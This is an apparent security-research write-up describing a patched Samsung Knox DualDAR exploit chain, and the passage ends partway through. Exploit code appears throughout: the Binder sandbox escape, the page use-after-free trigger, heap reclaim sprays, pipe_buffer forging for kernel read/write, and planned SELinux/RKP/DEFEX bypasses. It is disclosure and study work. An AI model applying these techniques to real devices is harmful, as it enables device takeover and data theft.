OEMpocalypse Part 2: Rooting Samsung Flagships via Knox DualDAR
Applying the OEMpocalypse strategy to Samsung Knox DualDAR: a confused-deputy sandbox escape and a page UAF take an untrusted app to root on Galaxy S23 and S26.
Lukas Maar
November 26, 2026
Contents
This is part two of OEMpocalypse Now.
In Part 1, I introduced the OEMpocalypse strategy: exploit an OEM-specific page Use-After-Free (UAF) in a kernel driver and, when SELinux restricts access to that driver, first exploit an OEM-specific sandbox escape. This post applies the strategy to Samsung's Knox DualDAR, an enterprise feature that encrypts files on top of Android's file-based encryption. Stage 1 exploits a confused deputy in the DualDAR system service to load a native library and gain code execution in its privileged crypto daemon. This gives me access to the kernel driver, where Stage 2 exploits a page UAF. The driver frees a physical page while leaving it mapped into userspace, providing a readable and writable alias to the freed memory. I developed the chain on a Magisk-rooted Galaxy S23 and ported it to stock, bootloader-locked Galaxy S26 EU, S26 US, and S26 Ultra devices. On all four tested devices, the chain reaches root from a zero-permission app with high reliability.
Figure 1: The Samsung chain end to end on a bootloader-locked Galaxy S26 EU and S26 Ultra.
I also presented this work at Hexacon 2026, with the slides published here.
Disclosure timeline: I reported to Samsung on 17 June 2026. Bug 1 was fixed in the August 2026 release and Bug 2 in the September 2026 release, tracked as CVE-2026-21102 / SVE-2026-3092.
TL;DR
- Stage 1 (Sandbox Escape): The Knox DualDAR Binder service dispatches commands on a background thread, losing the original caller's Binder identity. The subsequent UID check then accepts the command from any SELinux domain. As a result, a library-loading command provides native code execution in the privileged crypto daemon.
- Stage 2 (Page UAF): The DualDAR kernel driver maps a per-inode metadata page directly into the daemon's address space. When the inode is evicted, the driver frees the page without removing the mapping. The daemon retains a writable and readable alias to this freed physical memory.
- From there to
root: A two-step reclaim places apipe_bufferslab page behind the alias. Modifying the pipe buffers provides arbitrary kernel read/write. The chain then disables SELinux, sidesteps Samsung's hypervisor-based Real-time Kernel Protection (RKP) by patching a userspace library in the page cache, and disables Samsung's DEFeat EXploit (DEFEX) through a kernel-module kprobe. - Result: One exploit codebase roots the Galaxy S23, S26 EU, S26 US, and S26 Ultra with high reliability. Additional static analysis of Samsung's released sources and firmwares indicates that the vulnerabilities and exploit techniques also affect other Galaxy S and Z devices using Snapdragon and Exynos.
Background
The Android Sandbox
Android applies sandboxing across the system through three layers: Unix Discretionary Access Control (DAC), SELinux, and seccomp. For an ordinary third-party app, this typically means a per-app UID, an untrusted_app SELinux domain or one of its per-API-level variants, and a seccomp filter. Together, these layers define the process's attack surface, including its access to the filesystem, network, Binder IPC, and kernel drivers. Because untrusted_app can only access a few drivers, exploiting most OEM drivers first requires moving into a domain with the necessary access.
Knox DualDAR
Dual Data-at-Rest (DualDAR or DDAR) is a Samsung Knox feature that adds an independent encryption layer to Android's standard File-Based Encryption (FBE). This provides defense in depth: files in the Knox work profile remain protected by a separate key hierarchy if the outer FBE layer is compromised.
Figure 1: DualDAR's data and control paths. DualDARComnService starts dualdard and loads its crypto library. The daemon registers with /dev/dd and establishes four shared regions: control, metadata, plaintext, and ciphertext. The driver maps each request's pages into these regions for the daemon to encrypt or decrypt.
Figure 1 illustrates the interaction between DualDAR's kernel driver and its userspace components. The kernel driver integrates DualDAR policy with file I/O and delegates operations configured for userspace cryptography to the native daemon dualdard through /dev/dd. For each request, the driver maps the data pages and the inode's metadata page into the daemon's address space, where the daemon performs the requested encryption or decryption. A separate userspace component, DualDARComnService (Binder name: knox_adapter_service), manages this functionality. It runs inside system_server and handles commands for starting the daemon, loading its crypto library, and applying DualDAR policy to a user's data directories.
Access to the driver determines the order of the exploit chain. On the devices I inspected, SELinux denies untrusted_app access to /dev/dd. The daemon runs as UID 5250 (i.e., vendor_knoxcore) in the dualdar_app domain, which has the required chr_file { read write ioctl } permissions on knox_dar_device. I therefore first exploit a confused-deputy vulnerability in the userspace component to obtain code execution inside dualdard (see Stage 1). This provides the access needed to trigger the kernel vulnerability (see Stage 2).
Stage 1: A Confused Deputy in DualDARComnService
Stage 1 provides native code execution in dualdard, enabling access to /dev/dd. The vulnerability is a confused deputy in DualDARComnService: its asynchronous dispatch discards the original Binder caller's identity before the internal DualDARDaemonProxy handler checks the UID.
The UID Gate in DualDARDaemonProxy
The management commands shown in Figure 1 enter through DualDARComnService. It forwards daemon commands to DualDARDaemonProxy, an internal handler registered as DAEMON_PROXY_SERVICE. Before forwarding a command to the native daemon, DualDARDaemonProxy.onMessage checks the caller's UID (see Listing 1).
// services.jar (Android 16), decompiled, lightly cleaned
// com.android.server.knox.dar.ddar.nativedaemon.DualDARDaemonProxy
public Bundle onMessage(int code, String action, Bundle b) {
int uid = Binder.getCallingUid();
if (UserHandle.getAppId(uid) != 5250 // vendor_knoxcore (dualdard itself)
&& UserHandle.getAppId(uid) != Process.myUid()) // == 1000, system_server
throw new SecurityException("Can only be called by system user");
switch (action) {
[...]
}
}
Listing 1: The caller-UID gate at the top of DualDARDaemonProxy.onMessage.
During a Binder transaction, Binder.getCallingUid() returns the UID of the sending process. UserHandle.getAppId() extracts its app ID, which the check compares with 5250 and 1000. This permits only dualdard and processes running under the system app ID to issue management commands.
When a third-party app sends a daemon command through DualDARComnService.relay, the synchronous dispatch preserves the caller's Binder identity. The UID check in DualDARDaemonProxy.onMessage therefore sees the app's UID and rejects it.
relayAsync Loses the Caller Identity
DualDARComnService also exposes relayAsync. For "SYSTEM_PROXY_AGENT", this method posts the dispatch to a background handler and returns immediately. The command still reaches DualDARDaemonProxy.onMessage, but outside the original Binder transaction (see Listing 2).
// services.jar (Android 16), decompiled, lightly cleaned
// com.android.server.knox.dar.ddar.proxy.DualDARComnService (IProxyService)
public Bundle relayAsync(String agent, String svc, String cmd, Bundle params) {
if (agent.equalsIgnoreCase("SYSTEM_PROXY_AGENT")) {
mBackgroundHandler.post(() -> // "DualDARComnService-bgThread"
SystemProxyAgent.getInstance(mContext)
.relay(Binder.getCallingUid(), svc, cmd, params));
// -> ... -> DualDARDaemonProxy.onMessage(code, cmd, params)
Bundle resp = new Bundle();
resp.putBoolean("dual_dar_response", true);
return resp; // returns before the command runs
}
[...]
}
Listing 2: DualDARComnService.relayAsync re-posts the command onto a background handler thread.
The identity is lost at mBackgroundHandler.post(...). Binder associates the calling UID with the transaction being processed on the current thread. Outside a Binder transaction, Binder.getCallingUid() returns the current process's UID. The posted lambda runs on DualDARComnService-bgThread, so the later check in DualDARDaemonProxy.onMessage sees UID 1000 and accepts the command.
Consequently, any app that can call relayAsync can issue daemon-management commands with system_server's identity.
LOAD_CLIENT_LIBRARY: Native Code Execution in dualdard
The accepted commands include lifecycle operations such as START_DAEMON, configuration changes such as SET_DUALDAR_DO_POLICY, and LOAD_CLIENT_LIBRARY. The last command instructs dualdard to load a shared library (see Listing 3).
// DualDARDaemonProxy.onMessage, continued
case "LOAD_CLIENT_LIBRARY":
String path = b.getString("CRYPTO_PATH");
loadClientLibrary(b.getInt("user_id"), path);
// -> mConnector.executeSync("vendor_lib", "load", userId, path)
// -> dualdard: dlopen(path, RTLD_NOW)
break;
Listing 3: LOAD_CLIENT_LIBRARY passes a caller-supplied path to dlopen in dualdard.
LOAD_CLIENT_LIBRARY lets an enterprise supply its own crypto implementation. system_server forwards the caller-supplied CRYPTO_PATH to dualdard without validating the path, and the daemon calls dlopen.
So, I bundle libpayload.so in the APK and enable native-library extraction. Android installs it under /data/app/ with the apk_data_file label, which dualdar_app is permitted to read and execute. The relayAsync bug lets the app tell dualdard to load that library, causing its constructor to run with the daemon's access to /dev/dd.
Once the daemon is running, the app loads the library with one Binder transaction (see Listing 4).
// Poc.java -- plain untrusted_app, no permissions required
void sandbox_escape(void)
{
IBinder b = ServiceManager.getService("knox_adapter_service");
Bundle args = new Bundle();
args.putString("CRYPTO_PATH", libPath); // our libpayload.so
Parcel data = Parcel.obtain(), reply = Parcel.obtain();
data.writeInterfaceToken("com.samsung.android.knox.dar.ddar.proxy.IProxyService");
data.writeString("SYSTEM_PROXY_AGENT");
data.writeString("DAEMON_PROXY_SERVICE");
data.writeString("LOAD_CLIENT_LIBRARY");
data.writeInt(1);
args.writeToParcel(data, 0);
b.transact(5 /* relayAsync */, data, reply, 0); // no caller check survives the relay
}
Listing 4: Stage 1 end to end from untrusted_app: one Binder transaction.
The library constructor runs inside dualdard as UID 5250 in the dualdar_app SELinux domain. The payload can therefore open /dev/dd.
Stage 2: The Page UAF in /dev/dd
Stage 2 exploits a lifetime mismatch between a crypto task's mappings and a protected inode's metadata page. To understand the bug, I first describe how a userspace crypto task normally registers with /dev/dd and processes requests (see Listing 5).
fd = open("/dev/dd", O_RDWR);
ioctl(fd, DD_IOCTL_REGISTER_CRYPTO_TASK, ...); // [1]
control = mmap(NULL, ..., fd, DD_MMAP_CONTROL_OFFSET); // [2]
metadata = mmap(NULL, ..., fd, DD_MMAP_METADATA_OFFSET);
plaintext = mmap(NULL, ..., fd, DD_MMAP_PLAINTEXT_OFFSET);
ciphertext = mmap(NULL, ..., fd, DD_MMAP_CIPHERTEXT_OFFSET);
for (;;) {
ioctl(fd, DD_IOCTL_WAIT_CRYPTO_REQUEST, ...); // [3]
/* en/decrypt plaintext <-> ciphertext using metadata */ // [4]
ioctl(fd, DD_IOCTL_SUBMIT_CRYPTO_RESULT, ...); // [5]
}
Listing 5: Normal crypto-task setup and request processing from userspace.
- Registration at [1] allocates a
dd_proc(see Listing 6) for the file descriptor. - The four
mmapcalls at [2] establish the shared regions from Figure 1, whose VMAs the driver stores indd_proc. File I/O elsewhere in the system produces crypto requests. - At [3], the task waits for pending work. Before the
ioctlreturns, the driver maps the request's data and metadata pages into the corresponding regions. - The task performs the cryptography at [4] and submits the result at [5].
The metadata page belongs to a separate, reference-counted dd_info (see Listing 6) associated with the protected file's inode.
// security/ddar/dd_core.c
struct dd_proc {
struct vm_area_struct *metadata_vma; // the daemon's metadata mmap region
[...]
};
struct dd_info {
struct page *mdpage; // this inode's metadata page
atomic_t refcount;
[...]
};
Listing 6: dd_proc holds the mapping, dd_info owns the page.
I find the separation in Listing 6 particularly interesting from an exploitation perspective: dd_proc holds the userspace mapping, while a separate dd_info owns the underlying physical page. Keeping these lifetimes synchronized is error-prone, and the implementation contains precisely such a lifetime mismatch: dd_info can release its metadata page while the crypto task still has it mapped through dd_proc->metadata_vma. The following sections examine the mapping and release paths in detail.
Mapping the Metadata Page
When the protected file is then opened, alloc_dd_info attaches a fresh dd_info to the inode and allocates the metadata page (see Listing 7). Crucially, opening a file configured for userspace cryptography requires DualDAR to be unlocked. Otherwise, the open fails with -ENOKEY.
// security/ddar/dd_core.c
struct dd_info *alloc_dd_info(struct inode *inode, ...)
{
[...]
info->mdpage = alloc_page(GFP_KERNEL); // one order-0 page per protected inode
[...]
}
Listing 7: alloc_dd_info allocates the metadata page.
The metadata page remains attached to dd_info until its final reference is released. When file I/O produces a crypto request, the driver maps the page into the registered task's metadata_vma before returning from DD_IOCTL_WAIT_CRYPTO_REQUEST (see Listing 8).
// security/ddar/dd_core.c
static inline void __get_md_page(struct dd_proc *proc, struct page *mdpage,
unsigned long ino, struct dd_transaction *t)
{
[...]
remap_pfn_range(proc->metadata_vma,
metadata_area_addr + (t->num_md_pg << PAGE_SHIFT),
page_to_pfn(mdpage), PAGE_SIZE,
proc->metadata_vma->vm_page_prot);
[...]
}
Listing 8: __get_md_page maps the page into metadata_vma via remap_pfn_range.
remap_pfn_range maps physical pages into a userspace VMA. It installs Page-Table Entries (PTEs) for the supplied Page Frame Numbers (PFNs) and marks the VMA VM_PFNMAP (see Figure 2). These mappings do not acquire ordinary struct page references: the helper does not call get_page or increment page->_refcount. The driver must therefore keep the physical page alive for as long as the mapping remains accessible.
Figure 2: After __get_md_page, a PTE in the VM_PFNMAP VMA maps info->mdpage into dualdard's address space.
Freeing It Without Zapping the VMA
The owning dd_info tracks references associated with the inode. Mapping mdpage through a dd_proc does not retain an additional reference. Once the final reference is released, for example when the protected file is closed and its inode is evicted, the teardown path frees the page (see Listing 9).
// security/ddar/dd_core.c
void dd_info_try_free(struct dd_info *info)
{
[...]
if (atomic_dec_and_test(&info->refcount)) { // last reference to this inode's dd_info
if (info->mdpage)
__free_page(info->mdpage); // page freed; metadata_vma is never zapped
[...]
}
}
Listing 9: dd_info_try_free frees the page without zapping the VMA.
The teardown path does not call zap_vma_ptes, unmap_mapping_range, or otherwise remove the mapping installed by __get_md_page. Thus, __free_page returns the physical page to the buddy allocator while metadata_area_addr in the dualdard (metadata_vma from Figure 2) still resolves to it. This missing lifetime dependency is the root cause of the page UAF.
The Primitive
Listing 10 triggers the lifetime error. It assumes that one process could perform both the file I/O and the driver operations.
void trigger(void)
{
fd = open("/dev/dd", O_RDWR);
ioctl(fd, DD_IOCTL_REGISTER_CRYPTO_TASK, ...); // [1] register crypto task
control = mmap(NULL, ..., fd, DD_MMAP_CONTROL_OFFSET); // [2] establish shared regions
metadata = mmap(NULL, ..., fd, DD_MMAP_METADATA_OFFSET);
plaintext = mmap(NULL, ..., fd, DD_MMAP_PLAINTEXT_OFFSET);
ciphertext = mmap(NULL, ..., fd, DD_MMAP_CIPHERTEXT_OFFSET);
ioctl(fd, DD_IOCTL_UPDATE_LOCK_STATE, ...); // [3] unlock: state = 0
pf = open(trigger_file, O_WRONLY | O_CREAT, 0600); // [4] allocate metadata page -> alloc_dd_info
write(pf, buf, 8);
posix_fadvise(pf, 0, 0, POSIX_FADV_DONTNEED); // [5] initiate writeback
unlink(trigger_file);
ioctl(fd, DD_IOCTL_WAIT_CRYPTO_REQUEST, ...); // [6] map metadata page -> __get_md_page
ioctl(fd, DD_IOCTL_SUBMIT_CRYPTO_RESULT, ...);
ioctl(fd, DD_IOCTL_UPDATE_LOCK_STATE, ...); // [7] restore: state = 1
close(pf); // [8] allow inode eviction -> dd_info_try_free
*(volatile uint64_t *)metadata; // [9] access the freed page
}
Listing 10: The idealized single-process trigger for the page UAF. The metadata page is mapped before the unlinked file's final close.
- At [1], the trigger opens
/dev/ddand registers a crypto task. - The mappings at [2] establish its four shared regions.
- The unlock at [3] sets the DualDAR locking state to
0. - At [4], opening a fresh trigger file in a directory with the
USER_SPACE_CRYPTOpolicy (see The Stamping Side-Effect) invokesalloc_dd_infowhich creates its per-inode state and metadata page. - The
writeandposix_fadviseat [5] initiate the I/O that produces a crypto request. The trigger then unlinks the file while keeping its descriptor open. - Retrieving the request at [6] maps the metadata page through
__get_md_page. - After submitting the result, [7] restores the lock state to
1. - The final
closeat [8] allows inode eviction, whereasdd_info_try_freefrees the metadata page through__free_page. - At [9], the access still resolves through the surviving mapping.
The pointer metadata continues to provide read/write access to the physical page even after the kernel reuses it for a slab, a page table, the page cache, or another allocation. I refer to this surviving userspace mapping as an alias to kernel memory.
The primitive has two useful properties. First, obtaining the alias does not require winning a race. Second, the trigger does not depend on the heap layout, slab reuse, or a pointer disclosure. It requires registering a crypto task, servicing a request, and evicting the corresponding inode.
Driving the UAF Across the SELinux Boundary
Samsung's SELinux policy prevents either process from executing the complete trigger in The Primitive. The exploit therefore coordinates the original unprivileged app with the payload running in dualdard. The app performs the file I/O, while the payload manages the driver mappings and crypto requests.
Why the Exploit Is Two Processes
SELinux permits the payload's dualdar_app domain to access /dev/dd, but denies that access to untrusted_app. The trigger file resides in the app's private directory under /data/user/<N>/<pkg>/files/. Its SELinux categories allow the owning app to access it but prevent dualdard, which runs with a plain s0 context, from opening the file. The payload therefore performs the driver operations, while the app creates the file, initiates its I/O, and triggers inode eviction. This division requires synchronization across the SELinux boundary to ensure that the payload maps the metadata page before the app triggers its release.
The app needs two signals from the payload to preserve the ordering in Listing 10. The first indicates that the crypto task is ready, allowing the app to create and write the trigger file. The second indicates that the request has been serviced and the metadata page is mapped. Only then does the app close the unlinked file, allowing inode eviction to free the page.
The available policies restrict conventional synchronization channels. dualdar_app has no network access, preventing a loopback connection, and the injected payload exposes no Binder service. I also found no suitable filesystem path that one domain could write and the other could read.
The inotify Barrier Channel
I synchronize the processes through inotify, using file notifications as a barrier channel. The app installs an IN_OPEN watch on a readable file under /system. The payload signals by opening that file, causing the kernel to deliver an event to the app's inotify descriptor and release its blocking read() (see Listing 11).
// app side (jni_poc.c)
ino_fd = inotify_init1(IN_CLOEXEC);
wd1 = inotify_add_watch(ino_fd, "/system/usr/share/zoneinfo/tzdata", IN_OPEN);
wd2 = inotify_add_watch(ino_fd, "/system/usr/share/zoneinfo/tz_version", IN_OPEN);
read(ino_fd, buf, sizeof(buf)); // blocks until the payload open()s the file
// payload side (payload.c), inside dualdard
close(open("/system/usr/share/zoneinfo/tzdata", O_RDONLY)); // fires IN_OPEN -> wakes the app
Listing 11: The inotify barrier, app side and payload side.
Both operations are permitted by the existing policy: dualdar_app can open and read the system_zoneinfo_file files, and untrusted_app has the watch permission required for the notification. The channel is one-directional, from the payload to the app, which is sufficient for both barriers. Separate watched files distinguish the two events: tzdata signals that setup is complete, and tz_version signals that the metadata page has been mapped.
Map, Then Free
With the barrier channel in place, the two processes execute the following interleaving to obtain the alias mapping:
Figure 3: Listing 10 split across the two processes and synchronized through two inotify barriers. Markers [1] through [9] match the listing (some syscall arguments are omitted). Vertical position indicates execution order.
Because the barrier only signals from the payload to the app, the payload uses busy_wait_us or usleep to give the app time to create and write the trigger file before requesting the pending I/O. I also pin the payload's worker thread to one CPU before the trigger. Immediately before closing the unlinked trigger file, the app moves its trigger thread to that same CPU, then moves back afterward. This keeps the final close and the subsequent reclaim allocations on the same CPU, making it highly likely that the freed metadata page is reused through the Per-CPU Page lists (PCP), as explained in the next section.
The sequence leaves the payload with a writable and readable userspace alias to a freed order-0 page. The subsequent reclaim and kernel-memory operations run inside dualdard. The app waits for a completion marker.
From Alias Mapping to Arbitrary Kernel R/W
I use pipe_buffer objects to turn the alias into arbitrary physical read and write. At their core, these objects describe the pages used by a pipe, so modifying them can redirect pipe reads and writes to other physical pages.
Directly reclaiming the freed page with pipe_buffer objects is not ideal for two reasons: I can create only a limited number of new pipe_buffer slab pages, and allocating these slab pages is slow. I therefore use order-0 sk_buff fragment pages for an intermediate reclaim, since I can spray them much faster and in much larger numbers. The controlled data lets me identify the allocation that owns the page. I then release that allocation and reclaim the page again, this time as a slab page containing pipe_buffer objects. Figure 4 shows the two-stage reclaim strategy. The payload verifies each reclaim before modifying kernel objects, so failed attempts can be detected and retried.
Figure 4: The physical page behind the alias mapping across the two-step reclaim. The alias keeps pointing at the same page throughout, while the kernel reuses that page for a different purpose at each step.
Before continuing, let's recap the allocator details that matter here. From an exploitation perspective, the allocation path has three relevant layers: slab caches, the PCP, and the buddy allocator (also called the page allocator). Slab caches divide backing pages into object slots. They obtain these pages through the buddy allocator, where PCP provides a fast path for recently freed pages of a given order. The buddy allocator is the lower-level fallback and manages free memory in power-of-two blocks. When PCP runs low, it is refilled from buddy. When it holds too many pages, some are returned to the buddy.
The metadata page is an order-0 allocation, so I use order-0 pages for both reclaim targets. The goal is to keep both reuse steps within PCP. As shown in Figure 4, the freed page is first reclaimed as an sk_buff fragment data page and later as a pipe_buffer slab page. The PCP usually returns the most recently freed suitable pages first, so I free the page and perform the next reclaim allocations on the same CPU. This makes reusing the same physical page highly likely. To be certain, I verify each reclaim through the alias.
Confirming the Reclaim: sk_buff Fragments
Linux uses sk_buff objects to manage packet and socket data. The object stores metadata and points to a linear buffer containing the data. Additional data can be stored in separately allocated physical pages. The entries in skb_shared_info.frags[] identify these fragment pages and the data range within each one.
For the first reclaim, I target one of these fragment pages. I create local AF_UNIX datagram socket pairs and choose a message size that causes the kernel to allocate one order-0 fragment page. Sending the message fills that page with bytes I control. Leaving the datagram queued keeps the page allocated, and closing the socket pair releases it. This gives me a convenient way to reclaim the metadata page, detect it through the alias, and hold it until I am ready for the second reclaim.
// payload.c (compacted)
for (size_t i = 0; i < SK_BUFF_RECLAIM; ++i)
sk_buff_prepare(svs[i]); // [1] socket pairs
trigger(); // [2] trigger page uaf
for (size_t i = 0; i < SK_BUFF_RECLAIM; ++i) {
SKB_SET((0xDEADBEEFULL << 32) | i); // [3] set cookie
sk_buff_alloc_0_order_page(svs[i]);
}
uint32_t *page = metadata_area; // [4] verify the data page reclaim
if (page[1] != 0xDEADBEEF || page[0] >= SK_BUFF_RECLAIM) {
ret = RETRY;
goto cleanup_body;
}
sk_buff_index = page[0];
Listing 12: Spraying order-0 sk_buff fragment pages with a per-send cookie and reading it back through the alias mapping.
- The payload prepares the socket pairs at [1].
- At [2], it triggers the metadata-page UAF.
- At [3], it sprays datagrams. Their size is chosen so that the
AF_UNIXsend path rounds the bytes beyondSKB_MAX_ALLOCup to exactly one page.alloc_skb_with_fragstherefore allocates an order-0 fragment page, which the send path fills with controlled data. Before each send,SKB_SETplaces the cookie(0xDEADBEEFULL << 32) | iat the start of that fragment (see cookie highlighted in Figure 4). - At [4], the payload reads the cookie through the alias, checks its marker, and bounds-checks the encoded index to identify the socket pair holding the reclaimed page. If the check fails, the payload closes the sockets, triggers the UAF with a fresh file, and retries. On the tested devices, one of the first sprays succeeds with high probability.
Second Reclaim: a pipe_buffer Slab Page
Here, I first explain why pipe_buffer objects are useful for exploitation. I then show how to reclaim the page held by the sk_buff fragment as a pipe_buffer slab page.
Why pipe_buffer?
To understand why I chose pipe_buffer objects as the target, we first need some background on pipes. When a process writes to a pipe (e.g., echo hello | grep e), the kernel stores the bytes in physical pages. A pipe_buffer (see Listing 13) describes the data stored in one such page: it records which page holds the data, where the data starts, and how many bytes are available. The kernel uses this information when reading from or writing to the pipe. For exploitation, this means that changing a pipe_buffer changes where the kernel accesses memory. If I can overwrite one of these objects through the alias, I can select another physical page and use the pipe to read or modify its contents.
Each pipe owns a dynamically allocated pipe_buffer[] array. The pipe() system call creates the initial array. Changing the pipe's capacity through fcntl(F_SETPIPE_SZ) can replace it with an array of a different size. This lets me choose an allocation size that fits the slab cache I want to target. Writing data to the pipe then initializes the corresponding entries.
// include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page; // the page holding this slot's data
unsigned int offset, len; // where in that page the data sits
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
Listing 13: struct pipe_buffer. The first three fields describe a range within a physical page; ops points into the kernel image.
For prior work and further details, see Jayden R's 2022 article and Alexander Popov's 2026 write-up.
Reclaiming the Page
To reclaim the page as a pipe_buffer slab page, I keep the matched sk_buff fragment allocated while preparing the target slab cache. The slab allocator normally serves objects from free slots in existing slabs, so allocating a pipe's pipe_buffer array does not necessarily require a new physical page. Therefore, I first fill those slots with disposable objects from the same size class. I then close the matched socket pair and immediately allocate the target arrays on the same CPU. This increases the chance that a new slab reuses the physical page behind the alias.
Concretely, an array of two pipe_buffer entries occupies 80 bytes, so it uses kmalloc-96 where the 96-byte bucket is available and kmalloc-128 otherwise. The S26 Ultra uses the first, while S26 EU uses the latter. Either cache is served from order-0 slab pages. These arrays are allocated with GFP_KERNEL_ACCOUNT, which normally selects a kmalloc-cg-* cache. When kernel-memory accounting is disabled at boot, those cache entries instead refer to the ordinary kmalloc-* caches. The anon_vma_name spray also uses GFP_KERNEL, so it fills the pipe array's free slots only when both allocations use the same cache.
// payload.c (compacted)
for (size_t i = 0; i < PIPE_RECLAIM; ++i) {
SYSCHK(pipe(pipe_fds[i])); // [1] prepare pipes
SYSCHK(fcntl(pipe_fds[i][0], F_SETPIPE_SZ, 8 * PAGE_SIZE));
}
for (size_t i = 0; i < ANON_VMA_NAME_SPRAY; ++i)
spray_mmaps[i] = anon_vma_mmap();
for (size_t i = 0; i < ANON_VMA_NAME_SPRAY; ++i)
anon_vma_name_spray_96(spray_mmaps[i]); // [2] spray disposable objects
sk_buff_release(svs[sk_buff_index]); // [3] release data page
for (size_t i = 0; i < PIPE_RECLAIM; ++i)
SYSCHK(fcntl(pipe_fds[i][0], F_SETPIPE_SZ, 2 * PAGE_SIZE)); // [4] reclaim as pipe_buffer slab page
for (size_t i = 0; i < PIPE_RECLAIM; ++i) {
size_t cookie = (0xdeadbeefULL << 32) | i;
for (size_t j = 0; j < PAGE_SIZE / sizeof(cookie); ++j)
SYSCHK(write(pipe_fds[i][1], &cookie, sizeof(cookie))); // [5] alloc pipe_buffer's->page
}
struct pipe_buffer *pb = metadata_area; // [6] verify pipe_buffer slab page
if (((uintptr_t)pb->ops >> 56) != 0xff ||
((uintptr_t)pb->page >> 56) != 0xff ||
pb->flags != 0x10 || pb->len != PAGE_SIZE) {
ret = RETRY;
goto cleanup_body;
}
Listing 14: Preparing the target cache, releasing the identified sk_buff fragment, and reclaiming its page with two-entry pipe_buffer[] arrays.
- The payload creates pipes with eight
pipe_bufferentries each at [1]. - It fills available slots in the target cache at [2] with variable-length
anon_vma_nameobjects, allocated throughprctl(PR_SET_VMA, PR_SET_VMA_ANON_NAME, ...). - It then releases the matched socket pair at [3].
- At [4], it reduces each pipe's capacity, causing the kernel to allocate a new two-entry array.
- The writes at [5] initialize a
pipe_bufferdescribing a full page of data. - [6] checks the alias for plausible
struct page *andopsvalues, the expected flags, and a page-sized length.
Arbitrary Physical R/W
Once the alias covers a live pipe_buffer, the payload modifies its page, offset, and len fields to select a target physical page and a range within it. A read copies up to len bytes from that page, starting at offset. A write that appends to the buffer starts at offset + len within the same page. Reads and writes on the owning pipe then provide arbitrary physical read/write, as illustrated in Figure 5.
Figure 5: Forging pipe_buffer->{page, offset, len} through the alias redirects the pipe's read() and write() to an arbitrary physical page.
On a freshly written anonymous pipe, ops points to anon_pipe_buf_ops. Subtracting that symbol's offset in the matching kernel image gives its virtual base, kimage_va. To target a physical address, I also need the corresponding struct page address. The tested builds use 4-KiB pages and 64-byte struct page descriptors, so the payload calculates it as VMEMMAP_BASE + (pa >> 12) * 64. Here, VMEMMAP_BASE is the base used to index vmemmap by physical page number. The payload carries the appropriate value for each target build. Crucially, all the constraints for the arbitrary physical read and write primitive to work hold for the tested versions 5.15 and 6.12 (see Portability).
Resolving Kernel-Image Addresses
At this point, the pipe_buffer primitive operates on physical addresses. To use it against kernel symbols such as selinux_state and init_task, I need to know where they reside in physical memory. The matching kernel image gives me their offsets within the image. The ops leak also gives me kimage_va, but this is a virtual address. I therefore need the physical base of the kernel image.
Figure 6: Converting a kernel-image symbol's virtual address va to its physical address pa by adding its offset, va - kimage_va, to the physical image base LOAD_PA.
The bootloader loads the kernel image at a physical address that I call LOAD_PA. Its corresponding virtual base is kimage_va. For a symbol at virtual address va, the difference va - kimage_va gives its offset within the image. Figure 6 shows where this offset leads in physical memory: starting at LOAD_PA and adding the offset gives pa = LOAD_PA + (va - kimage_va). If I already know the symbol's offset from the matching kernel image, the calculation is simply pa = LOAD_PA + symbol_offset. I can then calculate the corresponding struct page pointer as VMEMMAP_BASE + (pa >> 12) * 64 and use it in the pipe primitive.
If LOAD_PA is already known, I can use it directly. On the July 2026 AZG5 (and newer) builds I tested, the physical placement of the kernel image also includes a random slide chosen at boot. The payload therefore stores a starting guess for each build, such as 0xc7800000 for the S26 Ultra, and determines the actual address at runtime. The payload uses the existing physical-read primitive for this step. Beginning at the configured base, it tries up to 32 candidate addresses in 0x10000 (64-KiB) increments. For each candidate, it adds the known offset of init_uts_ns, reads the resulting physical address, and checks whether the sysname field contains Linux. A match identifies LOAD_PA for the current boot. If none of the candidates matches, the attempt stops.
Alternatively, I can recover LOAD_PA with an additional kernel virtual-read primitive. On arm64, kimage_voffset stores the difference kimage_va - LOAD_PA. Reading it therefore gives me LOAD_PA = kimage_va - kimage_voffset. I used this approach during development and I describe it in Recovering Kernel Offsets with seq_file.
From Kernel R/W to root on a Hardened Samsung
Typically, with an arbitrary kernel read/write, obtaining root is straightforward for Android kernel exploitation (apart from Samsung devices). For example, an exploit can locate the current task's task_struct by iterating the global process link list, follow its cred pointer, and change the user and group IDs to zero while granting the required capabilities. Then, the exploit puts SELinux into permissive mode or changes the process's security context to one with the required permissions.
However, Samsung flagship devices have additional protections to prevent this approach. Samsung's hypervisor protects task credentials and other security-critical kernel data from modification, and writes through the pipe_buffer write primitive must obey these restrictions. Samsung also performs additional checks on system calls that can restrict a process even after it has obtained UID 0. I therefore need to obtain privileged execution through memory that remains writable and remove the checks that would restrict the resulting process. In the following, I first describe the relevant defenses and then show how the chain obtains a usable root shell.
Samsung's Kernel Defenses
Samsung's Real-time Kernel Protection (RKP) and the related Kernel Data Protection (KDP) protect selected kernel memory from modification. RKP runs at EL2, allowing the hypervisor to enforce read-only access even against the EL1 kernel. Protected objects include task credentials, SELinux task state, and kernel page tables. On older models it also protects selinux_state. Writes through the pipe_buffer primitive remain subject to these restrictions.
DEFEX is a Samsung-specific Linux Security Module (LSM) that restricts processes even after a privilege escalation. Its system-call hook, task_defex_enforce (see Listing 18), checks the calling task against a credential baseline, executable-integrity rules, an immutable-root policy, and a trusted-caller map. These checks can deny system calls after an unauthorized transition to uid 0 or an attempt to execute an unapproved binary.
SELinux also remains enforcing on the tested stock builds.
At its core, I first patch writable SELinux state to make the policy permissive. I then overwrite the page-cache copy of libselinux.so to inject controlled code and trigger init to execute my injected code as uid 0. Finally, I load a kernel module which uses a kprobe to force task_defex_enforce down its allow path, bypassing DEFEX and giving me an interactive root shell.
Disabling SELinux
On our target systems, selinux_state.enforcing was writable. Hence, I could clear this byte to put SELinux into global permissive mode.
If the global enforcing flag is protected, another path is to make my SELinux domain permissive. SELinux supports this for individual domains: a permissive domain can perform operations that its policy would otherwise deny, while SELinux remains enforcing for other domains. The loaded policy tracks these exceptions in the permissive_map bitmap, so I can target the bit for my domain (see Listing 15).
// security/selinux (compacted)
struct selinux_state {
bool enforcing;
[...]
struct selinux_policy __rcu *policy;
};
struct selinux_policy {
[...]
struct policydb policydb;
[...]
};
struct policydb {
[...]
struct ebitmap permissive_map;
};
struct ebitmap {
struct ebitmap_node *node;
u32 highbit;
};
struct ebitmap_node {
struct ebitmap_node *next;
